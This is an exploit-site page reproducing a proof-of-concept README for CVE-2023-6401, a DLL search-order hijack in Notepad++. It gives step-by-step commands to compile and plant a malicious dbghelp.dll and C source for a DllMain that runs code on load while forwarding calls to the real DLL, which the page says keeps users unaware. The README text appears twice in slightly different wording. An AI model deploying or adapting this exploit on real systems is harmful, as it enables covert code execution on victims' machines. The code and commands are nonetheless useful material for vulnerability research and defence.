Exploit for Uncontrolled Search Path Element in Notepad-Plus-Plus Notepad++

## https://sploitus.com/exploit?id=E1E8D6B3-A8BA-5EFD-892F-E9F77427D834
> ⚠️ **IMPORTANT NOTICE: For security research and educational purposes only**

Proof-of-concept for the NotePad++ ≤ 8.1 DLL hijacking vulnerability. Executes arbitrary code by placing a malicious `dbghelp.dll` in the application directory. ### Quick Start

```bash
# Download the project
git clone https://github.com/mekitoci/CVE-2023-6401.git

# Navigate to the project directory
cd CVE-2023-6401-main

# Compile the DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# Deploy the DLL to the NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"

# Run the test
"C:\Program Files\Notepad++\notepad++.exe"

# Clean up immediately
del "C:\Program Files\Notepad++\dbghelp.dll"
```

**Expected results:** Calculator pops up, message box appears, NotePad++ runs normally.

![PoC result](./imgs/crack.png)

### Vulnerability details

| Item | Details |
|------|------|
| **CVE ID** | CVE-2023-6401 |
| **Affected versions** | NotePad++ ≤ 8.1 |
| **Vulnerability type** | DLL hijacking / path hijacking |
| **Impact** | Execution of arbitrary code |
| **Prerequisites** | Permission to write to the application directory |

#### Principle

Windows loads DLLs in the following order:
1. **Application directory** (highest priority)
2. System32 directory
3. Windows directory
4. Current directory
5. PATH environment variable

NotePad++ loads `dbghelp.dll` when it starts. By placing a malicious DLL in the application directory, arbitrary code can be executed before the system DLLs are loaded. ### Technical implementation

#### Core code

```c
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Execute malicious code
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // Load the actual DLL and redirect API calls
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}
```

#### Key features

- **Path hijacking**: Utilizes Windows DLL search mechanism
- **API redirection**: Loads the actual DLL and redirects API calls, maintaining normal operation of the application
- **Disappearance**: Users are unaware of any abnormalities

### Compilation options

#### MinGW (Recommended)
```cmd
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
```

### Cleaning up

```cmd
# Remove the malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
```

### References

- [CVE-2023-6401](https://vulners.com/cve/CVE-2023-6401)
- [Microsoft DLL search order](https://learn.microsoft.com/windows/win32/dlls/dynamic-link-library-search-order)
- [MITRE ATT&CK T1574.001](https://attack.mitre.org/techniques/T1574/001/)

### Disclaimer

This project is for educational and security research purposes only. Users must bear full responsibility for compliance with applicable laws and regulations. ---

cd CVE-2023-6401-main

# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# Deploy to NotePad++
copy dbghelp.dll "C:\Program Files\Notepad++\"

# Execute test
"C:\Program Files\Notepad++\notepad++.exe"

# Immediately clean up
del "C:\Program Files\Notepad++\dbghelp.dll"

**Expected Result:** Calculator will pop up, a message box will display, and NotePad++ will start normally

![PoC result](./imgs/crack.png)

### Vulnerability Details

| Item | Details |
|------|---------|
| **CVE Number** | CVE-2023-6401 |
| **Affected Versions** | NotePad++ ≤ 8.1 |
| **Vulnerability Type** | DLL Hijacking / Search Order Hijacking |
| **Impact** | Arbitrary Code Execution |
| **Prerequisites** | Write permission to the application directory |

#### Mechanism

Windows loads DLLs in the following order:
1. **Application directory** (highest priority)
2. System32 directory
3. Windows directory
4. Current directory
5. PATH environment variable

NotePad++ loads `dbghelp.dll` during startup. By placing a malicious DLL with the same name in the application directory, code can execute before the system DLL is loaded.

#### Technical Implementation

#### Core Code

```c
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Execute malicious code
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // Load the real DLL and forward API calls
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}
```

#### Key Features

- **Search Order Hijacking**: Exploits Windows’ DLL search mechanism
- **API Forwarding**: Loads a malicious DLL and forwards function calls to maintain normal application behavior
- **Stealth**: Users are unaware of any abnormalities

#### Compilation Options

#### MinGW (Recommended)
```cmd
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
```

#### Cleanup

```cmd
# Remove the malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
```

#### References

- [CVE-2023-6401](https://vulners.com/cve/CVE-2023-6401)
- [Microsoft DLL Search Order](https://learn.microsoft.com/windows/win32/dlls/dynamic-link-library-search-order)
- [MITRE ATT&CK T1574.001](https://attack.mitre.org/techniques/T1574/001/)

#### Disclaimer

This project is for educational and security research purposes only. Users are fully responsible for compliance with applicable laws and regulations.

[source-iocs-preserved url=https://img.shields.io/badge/License-MIT-blue.svg,https://img.shields.io/badge/Platform-Windows-lightgrey.svg,https://www.microsoft.com/windows]